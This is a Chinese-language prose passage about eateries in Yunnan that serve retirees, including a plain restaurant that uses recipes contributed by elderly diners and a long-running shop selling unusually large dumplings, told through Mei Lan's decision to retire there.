小菜园餐厅，没有精致的摆盘，也没有好看的餐具，主打一个实在，不需要向任何人炫耀和报备的那种实在。主要的食客是返滇养老的知青们，大家来自五湖四海，众口难调。小菜园只能尽量调试，按照老年人的身体健康需求做调配。有些菜品是老人家提供的。比如有一道菜，做法很简单：青椒、茄子、生抽，加一点点油，拌一下，蒸20分钟就好了。这么一说，感觉这菜很糊弄，但尝一口，真的还挺好吃。这是一个老食客告诉后厨的。她说，过去他妈不愿意做饭就做这个。她现在一个人生活，偶尔懒得做饭，也做这个。
另一套，常桉只在极少数的场合下，对感觉亲切的人娓娓道来。
促使梅蓝开始思考回云南养老的契机，是一盘饺子，很家常的饺子。
梅蓝在离开云南多年后，回来过一趟。那时，她三十多岁，找到了一家北方人开的饺子店。没想到，前些年她五十多岁时又一次回云南，还能吃到同一家的饺子。这家店开了将近二十年。早些年，夫妻俩养孩子照顾老人，兢兢业业，一直分不出手开分店。这几年，孩子上了大学，日子轻快了，一家人陪孩子到昆明，在昆明开了分店。老板在昆明坐镇，味道十分地道。
很普通的饺子，胜在大，非常大。老婆是山东人，不太会包饺子，但是自动会包饺子。这听起来有点矛盾，但山东人确实有一些自带的包饺子基因。老婆包的饺子，一点儿也不好看，只是特别大，看起来很实在。老公觉得大饺子挺好，在此基础上进行改良。他家的饺子一个比别家的两三个还大，馅儿大皮薄，口味也被老公改良得很好。因为个大，从一开始，店里就允许不同的馅儿混着卖，来客一次能吃到好几种口味。
饺子好吃，店里氛围也好，从没再店里见过什么红过脸的事，客人也大多数是熟客。店也慢慢越开越久。
饺子好吃，或许是一个借口吧。梅姐那时想换个地方生活，一时之间没有主意，恰好碰上了一个有一家开了二十多年家常饺子店的地方，索性回来，安度晚年。
又不能只吃饺子。梅蓝索性又开了冬日可爱小饭桌，这样可以一个人吃得简单又丰盛，一个人吃腻了，还能和很多人一起，吃顿踏踏实实的实在饭。